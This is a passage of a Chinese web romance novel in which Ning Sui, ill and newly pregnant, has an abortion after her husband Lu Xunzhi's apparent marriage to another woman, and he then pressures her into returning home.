如果当初不是郑美婵给她吃那些影响她怀孕的药。 她的孩子是不是都好几岁了? 想到这,宁穗的心被无形的手紧紧抓住,疼得喘不上气。 “陆勋之……骗子……”宁穗呢喃出声,下一秒,腰上一紧。 她猛地醒过来坐起,那个力道又把她拉回去。 不是梦,宁穗猛烈挣扎起来,“不要碰我!救命!” 啪! 房间内的灯被打开。 四周瞬间亮起,宁穗抬手捂住眼,耳边传来熟悉的声音,“是我。” 宁穗愣住,僵硬转头看过去,陆勋之的脸呈现在面前。 一时之间她分不清梦境还是现实,猛抬手甩在他的胳膊上。 他没穿,手掌甩在皮肤上,很是疼。 他冷白的皮肤瞬间就红了。 男人微微皱眉,没顾胳膊上的疼痛,摸了摸她的发顶,“做噩梦了?吓到你了?” 真实的触感,将宁穗彻底唤醒,她愣了愣,“你怎么在?” 陆勋之将人拉到怀里,轻轻拍她的背,“忙完就回来了。” 宁穗僵住,所以他是从宋姜那回来? 她胃里有些恶心,随即开始呕,整个人呕得蜷缩起来,她推开陆勋之,奔向洗手间。 抱着水池呕了半天,也只呕出一点酸水。 整个人脱力地蹲下去,腰上一紧,天旋地转。 她被抱起来,轻轻放在床上。 额头上落下一只手背,“你哪里不舒服?” 宁穗现在完全不想被他碰,转身背对着他,钻进了被子里。 身后的男人没了动静,几秒钟他拿起了手机,打开免提放在一边。 床垫下陷,男人过来抱起宁穗,她想反抗,可根本挣扎不出去。 手机接通,那边传来陆治之低哑的声音,“哥?什么事啊?” 大半夜的打电话。 “你嫂子不舒服,你过来看看。” 陆治之那边传来窸窸窣窣的声音,“好,我马上去。” 他来得很快,给宁穗检查了一下,没什么特别的,“嫂子你哪里不舒服?” 宁穗垂着眸子,“看见某人就想吐。” 陆治之,“……” 他悄咪咪看了一眼陆勋之,男人脸色黑沉得跟锅底似的。 陆治之压了压嘴角,“那嫂子你就闭上眼。” 随即收到陆勋之一记眼刀。 他挠了挠脸颊,看热闹不嫌弃事大,“哥,你这一看就是惹嫂子生气了。是不是你去海城时间太久了,嫂子见不到就生气了?” 宁穗手指蜷起,他去海城了? 没去国外? 陆治之突然想起来,“你这两天去海城,不是感冒了?是不是传给嫂子了。” 陆勋之低头看了看宁穗,对陆治之说:“我已经好了。” 宁穗不受控地抬眼看他。 所以他不但没去国外,还因为害怕传给她感冒,所以多待了几天才回来。 心里某处软了软。 陆勋之送陆治之出去,陆勋之不放心,“她最近看上去不好。你帮她开点保养的药。” 陆治之点头,“哥,宋姜那边,你真不管了?把她丢在国外?” 男人垂了眸子不知道在想什么,“我妈不是在吗?她比我上心。” 陆治之脸色有些微妙,张了张嘴还是没说什么。 …… “穗穗,穗穗,醒醒。”唐佳笑轻轻拍副驾驶座上的宁穗。 宁穗懵懂地睁开眼睛,缓了几秒才醒盹,“不好意思,我睡着了。” “你最近这一个月怎么回事啊?”唐佳笑摸摸她的额头,“我看你总是打瞌睡,没睡好吗?还是身体不舒服?” 宁穗摇摇头,“不知道,就是很困,很容易睡着。没事,我已经醒了,我们去看看样品吧。” 两人下车,去了工厂里。 后边要巡展,但宁穗还想顺便加一些新作品进去。 不同城市展览的时候,也加不同的作品,这样可以增强观赏性和期待感。 两人在工厂里忙了多半天。 厂长是位四十多岁的大姐,是唐佳笑的老朋友,干脆留了两人吃饭。 “来,今天姐姐请你们吃农家菜,别看这是在村镇上,但是很多城里人来这吃,就是吃这口正宗的味道。” 两人感谢,但第一道菜上来,宁穗胃里就开始翻腾。 等菜上齐,宁穗再也忍不住,快步去了洗手间。 农家乐的包厢比较简陋,隔音一般,独立洗手间里传出来宁穗呕吐的声音。 唐佳笑想过去看看,但宁穗推她出来,怕失礼了大姐。 她只能先出来。 大姐听了一会儿,笑呵呵地问,“你这位朋友是不是有了?这样子跟我怀二胎的时候,简直一模一样。” 刚才洗手间出来的宁穗,听到这句,突然僵在原地。 她最近太忙都没注意。 好像例假是推迟了。 但之前喝郑美婵给的药汤,她也经常推迟或者提前,很不准。 也就没当回事。 回去的路上唐佳笑欲言又止。 宁穗没瞒着她,“上次在度假村出事,我好像忘吃药了。” 那天本来就乱哄哄的,宁穗又受到惊吓。 她就忘了。 唐佳笑有些担心,“穗穗,这件事,你要告诉陆勋之吗?” 宁穗没说话,她现在心里很乱。 …… 宁穗要准备做手术,去找裴斯年做了全身检查。 “再做一个CT。”裴斯年开了单子。 宁穗抿唇,“怀孕的话,是不是不能做CT?” 裴斯年操作鼠标的手指一顿,不可思议地看向宁穗,随即收敛神情。 他脸色有些僵硬,“对。确定吗?我是说,怀孕。” 宁穗,“我只用了试纸检测,还没在医院测过。” 裴斯年深吸一口气,“那先做早孕检查吧,其他的往后推。” 宁穗去抽了血,结果出得很快。 孕五周。 看着检查结果,宁穗手指轻颤。 她又去做了B超检查,裴斯年跟她一起等结果。 “宁穗,要是做手术,这个孩子就不能留了。”裴斯年声音艰涩,“等你身体养好了,孩子还可以再要。” “裴医生,你来一下。”妇科的医生叫他。 宁穗抬头,“有什么,可以直接跟我说。” 裴斯年皱眉,但还是对妇科医生点点头。 对方开口,“你的子宫状况不是很好,这个孩子打算要吗?要是留下,可能需要保胎。如果不要的话,以后怀孕可能有些困难。” 第58章 世纪婚礼 一道惊雷在宁穗脑中炸开。 她眼前一黑,人站不住。 裴斯年赶紧扶住她的胳膊,让她坐在椅子上。 安慰的话,他已经说不出口。 只能在旁边安静陪着。 宁穗捂着脸,缓了缓。 她的大脑冷静下来。 她是孤儿,要不是母亲领养她,她可能会过得很辛苦。 所以当初结婚的时候,郑美婵催她要孩子,给她喝汤药。 她都没拒绝。 并不完全是讨好郑美婵。 她也希望能跟自己喜欢的人,要一个可爱的孩子。 这样她原生家庭的缺憾,就算是弥补上了。 但是现在…… “宁穗,你的身体不能拖了。虽然这样说很残忍。但是如果你在妊娠阶段身体恶化,孩子保不住不说,你自己可能也……” 裴斯年急停住后边要说的话,但宁穗已经听懂了。 她点点头,“我知道了,谢谢你裴医生,让我考虑几天可以吗?” 裴斯年点头,没逼她,不管谁遇到这种事,都会纠结。 他心里有些不爽,但还是心疼宁穗,提醒她,“这件事,你要不要跟陆勋之商量一下。” 宁穗治病的事,她没跟陆勋之说,现在一提孩子,就是要打掉。 她甚至不知道从哪一段开始说。 “我想想吧。” …… 回去的路上,经过商场,宁穗莫名其妙地就走了进去。 现在她很难受,不想一个人待着,怕自己会碎掉。 走着走着,进了母婴用品店。 宁穗反应过来的时候,手里已经拿起一件小衣裳。 柔软的布料在掌心,像是云朵一样,宁穗的心都跟着化了。 眼眶不自觉地发热。 “姐姐?”一道稚嫩的声音唤回宁穗的思绪,她快速地抹了一下眼睛回头。 是陈瑶。 对方还戴着帽子,看上去很瘦,但气色还不错。 “我们在美术馆见过的。”陈瑶高兴地介绍自己,“那天你还帮我看展品来着。” 宁穗想起来,是个得了跟她一样病的女孩子,同病相怜。 她蹲下身跟陈瑶平视,“我记得,很高兴又见到你。” 陈瑶笑弯了眼,嘴角淡淡的梨涡若隐若现,“姐姐你怀孕了吗?” 宁穗嘴角的笑容僵硬了一瞬,没回答她的问题,“你呢?怎么会在这?” 陈瑶没在意她的回避,大大方方地说:“给我弟弟买点衣服。” 她举了举放在腿上袋子,“我妈妈高龄生了我弟弟,想着脐带血能帮我治病。可老天就是爱开玩笑,我和弟弟配型不成功。” 宁穗心尖痛了痛。 人在怀孕之后,好像一下子就激起了母性。 她心疼地摸摸陈瑶的发顶。 对方笑得没心没肺,“不过,我爸爸的朋友已经帮我找到配型了。我这个月就能手术了。” 宁穗顿了顿,如果她没怀孕,这个月也要做手术的。 大概是太多巧合,让她对眼前的女孩子,更多了几分好感,“加油,你肯定会好起来的。” 陈瑶笑着说谢谢,她的身体比较虚弱,两人聊了几句,留了联系方式,就分开了。 大概是陈瑶的笑容很有感染力,宁穗回到家的时候,心情没有那么郁闷了。 她已经下定决心,回去做流产。 裴斯年说得对,她要先活下去。 可是她心里还是很愧疚,如果当初她不是盲目喜欢陆勋之,被郑美婵算计。 她是不是也不会得癌症,更不会导致难怀孕。 她闭了闭眼睛,手不自觉地摸上腹部。 应该给孩子一个告别仪式,让爸爸妈妈好好告别一下。 宁穗缓缓睁开眼,拿出手机,把陆勋之加了回来。 …… 海城。 “定今晚的机票,回御城。”陆勋之一边签材料,一边吩咐唐桓。 “已经订好了。”唐桓知道明天是宁穗的生日,陆勋之早就说过要回去给宁穗过生日。 看着两人闹了这么久,终于有和好的迹象,唐桓也很高兴。 陆勋之,“嗯。所有的工作都推到一周后。” 他要陪宁穗好好休息一下。 这一个月,他跟三叔明争暗斗,总算是把三叔那边的势力清理了。 宁穗上次差点被欺负的事,他终于可以给宁穗一个交代。 手机响起,陆勋之随意扫了一眼,随即顿住。 居然是宁穗。 她拉黑自己很久,都没有加回去。 他这一个月,只要回御城不管是一天还是几个小时,都会去宁穗那边待上半天。 可宁穗始终都对他不冷不热,更没有加他的联系方式。 这是将他从黑名单放出来了? 陆勋之嘴角勾起弧度,迫不及待地接通了电话。 “宁穗。” 那边慢半拍嗯了一声,随即是好几分钟的沉默。 陆勋之缓缓起身,走到落地窗前,看向御城的方向,好像能看到宁穗似的。 “陆勋之,你明天能回来吗?”宁穗的声音有些黯淡。 似乎对这个问题的答案,并不抱什么希望。 好像失望太多,她已经不敢再生出期盼。 一根针扎在陆勋之的心口上。 陆勋之深吸一口气,“我今晚还有一个会议要开。” 那头宁穗轻笑一声,似是对他的答案,并不意外。 陆勋之赶紧说:“我已经定了半夜的机票。明天早上,你就会看到我。” 接下来是长久的沉默。 陆勋之甚至怀疑宁穗是不是挂断了,他拿开手机看了一眼,确定仍在通话中,又重新放在耳朵边,“宁穗?你在听我说吗?” 宁穗嗯了一声,“知道了。那明天见。” 她没有嘲讽,没有拒绝,而是说,明天见。 陆勋之的心里松快了很多,甚至扯出了笑意,“好,明天见。” 挂断通话,陆勋之捏着手机,良久,他转身吩咐唐桓,“吩咐下去,会议时间提前,机票也定早一点的。” 唐桓,“是。” 晚上八点,会议比预定时间,提前三小时结束。 陆勋之快速起身往外走,打算去机场。 刚到机场,便接到了电话,是M国那边的IP,陆勋之微微皱眉接通,随即脸色沉下来,“什么?” …… 宁穗这一晚上好眠,早上醒来已经八点多。 她摸了摸小腹,然后起身,但是看到房间里跟她昨晚睡下时并无不同。 心里莫名有一瞬间的失落。 她拿起手机,拨通了陆勋之的手机号,但那边显示关机。 她又打了唐桓的,也是关机。 也许是在飞机上。 宁穗安慰自己,但她的心里有种怪异的感觉,很不踏实。 她起床开始收拾。 时间转眼到了傍晚,但还是没有陆勋之的消息。 她拿着手机发呆。 叮! 她赶紧打开看,却是一条推送进来,宁穗不小心点开。 【陆氏总裁世纪婚礼,与白月光终修成正果。】 宁穗心里咯噔一声,点开了视频。 画面中陆勋之和宋姜穿着礼服婚纱,正在交换戒指。 第59章 Ta没有爸爸 宁穗的呼吸一滞,血液瞬间回流,手指又冰又麻,僵硬得拿不住手机。 手机掉落在沙发上,轻轻弹起。 视频还在播放,婚礼进行曲在房间里回荡。 像是在嘲笑宁穗。 她扯唇笑笑,使劲闭上眼。 眼尾通红,湿润。 她深吸一口气颤抖着手指关掉了视频,转而拨了一通电话出去。 “裴医生,麻烦帮我安排流.产手术。对,不等了,今天就做。好,谢谢你。” 挂断电话,宁穗脱力地靠在沙发上,手不自觉地抚上小腹。 眼泪从眼尾滑落。 宁穗双手捂住脸,哭得蜷缩起来。 …… 宁穗躺在冰冷的手术台上,目光呆呆地看着天花板。 手放在小腹上,喃喃,“对不起啊,宝宝,都怪妈妈不好,妈妈还要活下去,你乖乖的,下次再来找我,好不好?” 医生看到她眼泪流下来,在耳朵里汲起一汪水,于心不忍,“你好好养身体,将来还会有机会有孩子的。还年轻,路还长。” 宁穗扯唇,“谢谢。” “一会儿有人接你吧?孩子的爸爸呢?”护士问。 宁穗闭上眼,淡淡道,“Ta没有爸爸。” …… “您拨打的用户已关机。” 机械的女声再次响起,陆勋之的心底有几分不安,催促着司机,“开快点。” “是,陆总。” 车子突然刹住不动。 陆勋之不耐,“怎么回事?” “陆总,前方好像出事故了。车流卡住了。” 陆勋之心里那股不安更盛,他看了一眼窗外,还有一个路口,等不及了。 他开门下车,徒步前行。 咚咚咚! “宁穗,开门。”陆勋之还有些气喘吁吁,刚才他一路跑过来,一秒钟都没耽误。 过了好几分钟,房门才被打开。 “宁穗,你——”陆勋之看清对方,微微皱眉,“宁穗呢?” 唐佳笑看到陆勋之的脸,嫌恶地冷笑,“没在。” 陆勋之懒得跟她计较,直接推门而入。 可房子就那么大,一眼望到头,宁穗确实不在。 “她去哪儿了?”陆勋之冷眼睨过来。 唐佳笑白了他一眼,走到餐桌前收拾,“出去旅游了。我过来帮她打扫一下。” 陆勋之愣住,余光瞥见餐桌旁边的垃圾桶里,是一个尺寸不大的蛋糕,大概够两个人吃。 心中某个地方被什么扎了一下。 他深深吸了一口气,声音沉下来,“她到底去哪儿了?” “我不会告诉你的。”唐佳笑语气比他还冷,“再让你伤害她一次吗?” 说到这,唐佳笑气不过,将抹布丢在桌上,发出闷响,“你都跟宋姜结婚了,你还不肯放过宁穗,她是挖了你祖坟吗?” 陆勋之没什么耐心跟她扯,“要不告诉我,宁穗在哪儿,要不我让你的店在御城开不下去。” 唐佳笑一愣,随即气笑了,“你们还真是公狗找母狗,锁死别害别人!你随便,真当自己是天王老子啊,还想封杀我!” 她骂骂咧咧,陆勋之得不到答案,黑着脸离开。 门摔得震天响。 唐佳笑气得眼眶通红,真的太心疼宁穗了,怎么会跟这么个人在一起。 这五年,真是过得狗都不如。 唐佳笑从宁穗的出租屋出来,上车就给宁穗打了电话。 “穗穗,家里我都给你收拾好了,还给你拿了换洗的衣服,我一会儿给你送过去。” 宁穗说话有些虚弱,“谢谢你,笑笑。” 唐佳笑鼻尖一酸,“跟我还客气什么。对了,刚才陆勋之来找你了。被我支走了。我说你去旅游了。” 唐佳笑的父母就在离海城很近的镇上。 虽然是养父母,但是他们很疼唐佳笑,不但攒钱给她在御城付了首付,还说将来会来给她看孩子。 唐佳笑坚持之下,安排宁穗回了她父母家休养。 父母家里是两层的自建房,宁穗在楼上,不会被打扰。 而且唐佳笑的养母年轻的时候,当过月嫂,也有经验。 宁穗便没拒绝。 她现在需要养好身体,后边还要做手术。 当然,另一方面原因,也是她不想见到陆勋之。 虽然不一定,但万一陆勋之来找她,只会加重她的心情郁闷。 “不用管他。”宁穗淡淡说,仿佛陆勋之是什么不重要的人。 “嗯,你好好养着,我现在去给你送东西。”唐佳笑挂断了电话。 她车开车这个区,刚打算往高架上拐的时候,看了一眼后视镜。 “奇怪,后边那个车,好像一直跟我似的。” 唐佳笑多了一个心眼,打方向往王习的工作室开去。 没想到,那辆车,真的也追了过来。 唐佳笑在王习的工作室停下,拿了包进去。 一进王习的办公室,便警惕地说:“王习哥,我最近不能去见穗穗了,你找个人,帮我把这包东西,送到我家吧。” 王习只知道宁穗最近身体不好,在唐佳笑家休养,但是具体怎么不好,他并不清楚。 女孩子家的事,他也不方便深问,但还是答应下来,“好,我来办。” 工作室外的车上,保镖看着唐佳笑出来,又跟上去,直到她回到自己的工作室。 保镖才拨了电话出去,“特助,唐佳笑没出御城,就去了一趟王习工作室,然后就回自己店了。对,除了王习没见别人。” 另一头,唐桓挂断电话,看向沙发上假寐的陆勋之。 刚才他开了免提,保镖的话,陆勋之都听到了。 空气瞬间冷了几分。 片刻后,陆勋之突然开口,“唐佳笑店里的单子,拦下几个。” 唐桓一愣,“陆总,唐小姐是太太最好的姐妹,要是这样做的话,太太肯定会不高兴的。” “只要她出来见我,我自然会补给唐佳笑更多订单。”陆勋之语气有些烦躁,“对了,查出是谁做的了吗?” 唐桓脸色沉了沉,陆勋之在国外跟宋姜的婚礼,办得很隐蔽,不知道是谁,竟然偷偷录下,还发到国内的网站上。 瞬间冲上热搜。 他们一直都关机,等到回程的飞机上,才发现这件事被炒起来了。 他紧急撤下这些营销号的链接,但已经晚了。 就连陆奶奶都打电话来质问是怎么回事。 宁穗肯定已经看到了。 所以才会避着陆勋之不见面。 第60章 陆勋之,你真让我恶心 “是国外的加密账号传回国内的,已经找了黑客破解,应该很快就有结果。”唐桓说,“要不您跟太太说实话吧。不然这个误会很难解除。” 陆勋之却不以为然,“我跟宋姜又不是真结婚,我见到宁穗跟她说一声,她自然会理解。” 唐桓,“……”他真的没招了。 唐佳笑父母的房子后边就是一大片花园。 她父母自己种的,给花店供货,能挣点小钱。 宁穗每天早上起床就能看到,花园里的暖房,花们开得正艳。 心情也不自觉地好起来。 她打开窗户,呼吸了下新鲜空气,不经意间看到唐佳笑的父母,在楼下院子里在说什么。 唐佳笑的母亲还抹起了眼泪。 宁穗眸光一紧,下了楼。 “阿姨,是出什么事了吗?” 唐母赶紧扭过头去擦眼泪,勉强挤出笑来,“没,没事。” 唐父是个老实人,抿着唇只摇摇头。 宁穗看了一眼他们手中的手机。 画面里正在播放什么,乱哄哄的人们,但她扫见了唐佳笑的门头。 宁穗上前,“手机可以给我看看吗?” 唐母为难,“穗穗,你现在身体不舒服,你就别管了。” 宁穗坚持,“是笑笑遇见事了吗?阿姨,笑笑的事,我不会不管的。” 唐母叹气,但还是把手机递给她。 宁穗看完,眉心拧出疙瘩,“阿姨,我现在出去一趟。” 知道她要去哪儿,唐母还是拦住她,“你现在身体还没好,小月子要是养不好,会老病根的。你别管。” 这时候一直在旁边沉默的唐父也开口,“笑笑把你托付给我们,要是你有什么事,我们没办法跟笑笑交代。” 宁穗眼圈泛红,但还是笑了笑,“叔叔阿姨,你们放心,我不会有事的。” 两个老人拗不过她,最后从镇上叫了车送宁穗过去。 唐母不放心,也跟了过去,唐父要送货,就留下了。 “笑笑没跟我们说,是邻居家路过她的店,偷偷拍的。那些人最近总是找事。我刚才就是跟你叔叔商量,要不让笑笑报警。但是又怕笑笑不听我们的。” 唐母在车上絮絮叨叨,话里满满都是对自己孩子的疼爱。 “阿姨,对不起,这件事可能跟我有关系。”宁穗有些自责。 其实那天唐佳笑说她不能来给她送东西,怕是陆勋之的人跟踪了她。 宁穗就该想到,陆勋之为了逼她出现,一定会对唐佳笑出手。 但是没想到,会用这么卑劣的方法。 …… “够了吧?你们再闹,我就报警了。” 唐佳笑冷眼看着面前几个流里流气的人。 他们已经连着好几天来店里了,什么也不做,就是往那一坐。 客人一进来,他们就开始说东西不好,要不就吓唬客人们。 生意根本没法做。 唐佳笑本来就是走年轻化的产品线。 来店里的都是年轻的文艺青年们,有些还是大学生。 看到这种架势,通通被吓跑了。 带头的光头嘿嘿一乐,满足的黄牙,让人作呕,“我们也没干什么啊?你就算报警,又能拿我们怎么着?” “那你们到底想要什么?”宁穗的冷淡的声音响彻大厅。 那群人倏地看过来,瞬间乐了,“就是要你咯。” 说完,光头一挥手,几个人上前,就要抓宁穗。 唐母离她最近,直接闪身挡在她跟前,“笑笑,报警!” 唐佳笑让人报警,自己也跟上来。 但是光头的人手更快,一把拉住唐母往旁边一拽,她直接摔倒在地。 宁穗扑上去护住唐母,可人在半空就被截住,拉扯她的胳膊将人往外拖。 刚拖到门口,一个力道过来,宁穗胳膊上的蛮力被卸掉,腰上一紧,被扯进了宽厚的怀抱。 熟悉的冷香冲到鼻尖,宁穗猛抬头,正撞进陆勋之复杂的眸子。 他眼底有些惊喜,但看到宁穗乌青色的眼睑,还有她明显瘦了一圈的身材,眉心又一紧。 “你怎么——” 啪! 一巴掌抡过来,陆勋之的脸被打得偏过去。 那几个人被唐桓派人带走,这更让宁穗确定,是陆勋之找的人。 “为了逼我出来,你都不做人了吗?”宁穗气得胸口剧烈起伏,“陆勋之,你真让我恶心!” 陆勋之缓缓转过头看她,“你都没问,就说是我做的?我在你眼里,就是这么下作的人是吗?” “对!”宁穗回答得毫不犹豫。 陆勋之失笑点头,抓住宁穗的手腕,将人拎起来就往外走。 一路走到停车场,陆勋之拉开后座把她塞进去。 宁穗想从另一边跑走,却被人拉回去。 裤子被扯下去。 宁穗整个人僵住,身体不可控地抖。 陆勋之也顿住,缓缓帮她穿好,“你怕什么,我还不至于在你来事的时候——” 啪! 又一巴掌甩过去,陆勋之起身。 宁穗慌忙坐起来,整理衣服。 陆勋之的脸色沉下来,窗外暗淡的光照进来,映得他脸色低沉得吓人。 宁穗抬手去拉车门,但车门锁上。 “你就没什么要问我的吗?”陆勋之的话从身后传来。 宁穗心口憋得难受,她真的不明白,这些年她到底在坚持什么。 “陆勋之,我以前每天都盼着你早点回家。喝那些苦药,我也忍着,就是想跟你生个我们的孩子。” 说到这,宁穗哽咽得说不出话。 深呼吸了好几次,才勉强开口,“我以后不会再做这些无聊的事,期盼无望的结果。我现在只想问你,什么时候才肯放过我?” 陆勋之僵住,他怔怔看着宁穗的后脑。 她的肩膀瘦弱,而且在微微发抖。 他心里某块地方正在坍塌,“宁穗,我和宋姜的事,我可以解释,其实是——” “我不想听。”宁穗无情打断,“你和她的事,我一个字都不想听。” “宁穗!” 手机响起,扯破了紧张的氛围。 宁穗拿出来接听,唐佳笑的声音传过来,“穗穗,你没事吧?” “没事。”宁穗抹了一把眼角,“阿姨没事吧?” 唐佳笑突然带出哭腔,“我妈……我妈昏迷了。” 第61章 拿捏她 宁穗脸色倏地白了,声音哽咽颤抖,“送医院了吗?我马上过来。” 唐佳笑还算镇定,“我已经在救护车上,往医院去了。” 她说了医院的名字。 是陆家旗下的产业。 宁穗挂断电话,推开车门要下车,却被陆勋之拉住手腕。 “我送你。”陆勋之下车上了驾驶室,启动了车子。 这里是闹市区,又是高峰期,打车不方便。 宁穗没拒绝。 一路上两人都没有说话,陆勋之开得又快又稳。 车子开到医院,还没停稳,宁穗开门下车,冲去了急救室。 “阿姨怎么样?”宁穗找唐佳笑,对方呆愣愣地坐在椅子上。 听到宁穗的声音,唐佳笑懵懵的,“不知道,还在抢救。” 说着她就哭了起来,“我妈满脸的血,我好怕啊,穗穗,我真的好怕。都怪我,我没照顾好她。她都退休了,我还让她担心我。” 唐佳笑泣不成声,扑进宁穗怀里。 宁穗也跟着无声哭泣,拍着唐佳笑的后背安慰她,“阿姨吉人自有天相,不会有事。” 急救室的灯灭了,宁穗扶着唐佳笑赶紧起来。 “病人脑部首创有血块,需要开颅。”医生提醒,“手术有风险,需要家属签字。” 唐佳笑身子一晃,差点晕倒,“好,我签。医生,求求你一定要救救我母亲。” 医生有些为难,“这个手术有难度,我们医院做得最好的陆治之主任。但是他今天不当班。” 宁穗愣了下,随即说:“那您帮忙准备手术,我马上去想办法。” 医生走后,唐佳笑抓住宁穗的手,“陆治之不是你小叔子吗?你跟他熟吗?穗穗……” 她想救自己的母亲,但又担心宁穗为了她,低声下气去求陆勋之。 宁穗微微扯唇笑笑,“熟的,你放心,我一定会请来陆医生。没有什么比阿姨的命重要。” 包括她的尊严。 宁穗不会拿唐母的身体开玩笑。 唐家的人都对她这么好,就算是要求陆勋之,她也会愿意。 宁穗给陆勋之打电话,对方一直占线。 她急得不行,刚才她慌忙跑进来找唐佳笑,并没有注意陆勋之有没有跟进来。 可能早就回去了? 刚才她对陆勋之的态度那么差,对方也可能故意不接她的电话。 宁穗现在好后悔,这两天降温,寒风顺着她的衣领灌进来。 肚子突然抽痛,她腰膝一软站不住,缓缓蹲下去。 眼泪大颗大颗地往下掉。 宁穗好难受。 为什么? 她自己苦也就算了,她身边的人,也被她连累。 她是不是不该活着? 这个念头一冒出来,宁穗心脏跟着抽了抽。 她不自觉地抚上肚子,低声喃喃,“妈妈该跟你一起走的。” “你找我?”一道熟悉的男人落下。 宁穗浑身一抖,僵硬回头,阳光落在陆勋之的发顶,发出淡淡的金光。 让宁穗晦暗的世界,有了一点点希望。 一阵恍惚,宁穗仿佛回到了数年前的那个夜晚。 她肠梗阻疼得人都快晕了,好不容易到医院急诊。 陆勋之也是这样出现在她身边,让她看到了希望。 过往和眼前的人,重合在一起。 宁穗眼前瞬间模糊,开口的声音带了哽咽,听上去特别可怜,“陆勋之,能不能帮我找陆治之,给笑笑妈妈做手术?” 她顿了一下,似是鼓起很大的勇气,干涩开口,“我求求你。” 男人微怔,下一秒伸手,将她拎起来,垂眸冷凝着她,沉声问,“怎么求?” 宁穗浑身僵硬,冷不丁扯唇笑了笑,可眼底一片冰冷。 她垂了眸子,没了生气,机械地问,“你有什么条件?” 男人似是早就料到她会妥协,脱口而出,“回景园住,不许再提离婚。” 一只无形的大手紧紧攥住宁穗的心。 她这么艰难地挣扎,匍匐,好不容易才走出去一步。 却又被拉回原点。 巨大的无力感,让她的心狠狠一痛。 她闭了下眼睛,没有力气再去争辩什么,只点了点头。 下一秒,男人将她打横抱起。 宁穗低呼一声,着急道,“你给陆治之打电话。” 她要看着陆治之给唐佳笑的妈妈做上手术,她才安心。 陆勋之迈开步子往停车场走,“他已经到了。” 宁穗愣住,所以他早就知道,她会来求他,早早结网,等着她自己跳进陷阱。 拿捏她,就是这么简单。 宁穗突然觉得自己真的可笑。 以为自己能抵得住陆勋之,无论发生什么,她都能挺住。 可她现在突然觉得,自己的一切反抗,在陆勋之眼里都不够看。 只要他想,就能将她玩弄在股掌之中。 宁穗缓缓闭上眼,身体没了一丝力气。 陆勋之微微一顿,看着怀里的人,脸色苍白得有些吓人。 垫在手里,更是轻得很。 好像比之前更瘦了。 只剩一把骨头。 陆勋之心里有些不舒服。 身前的衣襟被人攥紧,宁穗哑声开口,“我想在这等着阿姨做完手术,行吗?我会自己回景园。” 陆勋之拧眉,“你又不是医生,在这有用?是想熬死吗?” 宁穗抿唇,没有再说什么。 陆勋之将她塞进车后座,她拿出手机给唐佳笑打了电话,“笑笑,陆医生到了吗?” “到了。”唐佳笑的声音明显轻松了一点,“他说了,我妈的手术,他有十成的把握。谢谢你,穗穗。” 宁穗狠狠松了一口气,眼睫颤动,压下眼底的湿润,“没事,笑笑,我有点事要去处理,你好好看着阿姨,要是有什么事,随时给我打电话。” 唐佳笑顿了一下,但是那边有护士跟她说话,让她签字,只能匆匆挂断电话。 宁穗无力地靠在椅背上,闭上了眼睛,扭头转向另一边,完全不想跟陆勋之交流。 男人看着她的后脑,唇角抿成直线。 车子开到景园,宁穗慢半拍地睁开眼,刚想拉车门,腰上一紧,宁穗被轻松地拉坐到陆勋之的腿上。 司机已经下车,但宁穗还是禁不住脸颊发烫。 她推了一下陆勋之,“放我下去。” 陆勋之抬手捏住她的下巴,迫使她看向自己。 第62章 那是我和你,最后的孩子 陆勋之半阖着眸子,眼底的情绪浓稠得化不开,拇指轻轻拨弄她的下唇瓣,暧昧至极。 眼神动作,无不在昭示着他心底的欲念。 宁穗后背起了一层冷汗。 她刚刚做完流产手术,还在流血。 根本不可能同房。 她想到刚才陆勋之以为她来例假了,所以干脆拿这个当借口,“我身子不方便。” 陆勋之却没有任何反应,似是没听到一样。 他微微用力,鼻尖蹭了下她的脸颊,轻轻嗅了嗅。 她的脸颊有些痒,对两人这种亲密,很是抗拒,微微转头要避开。 下巴上却一紧,她迎上陆勋之的目光,对方冷哼一声,“这就是你求人的态度?” 宁穗唇角抿成直线,克制住自己想要躲闪的动作。 紧紧咬住下唇。 苍白的唇,被她咬出红印。 陆勋之眉心微微皱起,手指拨开她的唇瓣,“就这么不想跟我亲近?还在生气?” 宁穗愣了愣,敛眉没说话。 陆勋之轻叹一声,抱着她下了车。 将她抱进别墅的餐厅放下,宁穗看到桌上的蛋糕,面色一怔。 陆勋之脸色有些不自然,“点蜡烛,许愿?” 流程他不太懂。 他的生日从来不过,宁穗的生日,也只是一起吃个饭而已。 上次他们一起吃蛋糕,还是在上学的时候。 那次她酒壮怂人胆抱了陆勋之后,两人有一段时间还算亲密。 正好赶上宁穗过生日,陆勋之给她买了一个蛋糕。 但是那天发生了别的事情,最后蛋糕也没吃上。 再后来,陆勋之就腿受伤了。 宁穗扯唇笑笑。 她和陆勋之看来真的没有缘分,没有一次能吃上蛋糕的。 今天的,可以吗? “陆勋之,今天不是我的生日。”宁穗干涩开口,她的抗拒温和又坚决。 陆勋之起身走到她跟前半蹲下,“我们以后还有很多个生日可以一起过。” 宁穗眼前集聚起硕大的泪珠,就在眼里打转,没有掉下来。 她轻笑一声,“可是这个生日不一样。” 是她和她的宝贝做告别的日子。 她甚至不知道,以后还有没有机会再有孩子。 更不要说那个孩子,不会是陆勋之的。 陆勋之啊,陆勋之,那是我和你,最后的孩子。 宁穗的眼泪像是断了线的珠子,连成串地往下掉,砸在餐桌上,洇成一小片。 将陆勋之的心都浸湿了。 他觉得心口像是堵了一团棉花,难受得喘不上气来。 他猛地抱住宁穗,张了张嘴却不知道说什么。 宁穗最后也没能吃上蛋糕。 陆勋之给她切了一小块,喂到她嘴边,她勉强张嘴。 可甜香味冲到鼻尖,转而就变成了铁锈味。 耀眼的手术灯,下腹的绞痛感,让宁穗喘不上气,胃里翻腾,她呕了出来。 陆勋之抱她上楼,将她放在床上,让她休息。 本以为他放下自己就会走,可过了一会儿,陆勋之也上来,从后抱住她。 宽厚温热的手掌落在她的小腹上,轻轻揉着。 宁穗有一瞬间的僵硬,眼眶瞬间湿了。 她慌乱地闭上眼睛,不想让陆勋之看出异样。 过了一很久,陆勋之以为她睡着了,轻手轻脚地起身,去了书房。 黑暗中,宁穗缓缓睁开眼,她一点困意都没有,怔怔望着窗外。 窗外的星光淡淡,是深秋的萧索。 手机亮起,宁穗以为是唐佳笑发来的信息,赶紧拿过来看。 却收到一个陌生号码的信息。 打开一看,是亲子鉴定书。 宋姜做了穿刺,孩子的基因和陆勋之的鉴定结果,显示是父子。 宁穗看着上面的鉴定结果,愣了愣,手指僵硬得动不了。 心口窒息感传来,宁穗脑子还算清醒,将这份报告转发给了裴斯年。 【裴医生,麻烦帮我看看,是不是真的。谢谢。】 那边没问原因,秒回,【我尽快查。】 宁穗的手指因紧张而有些痉挛,疼痛感让她清醒了几分。 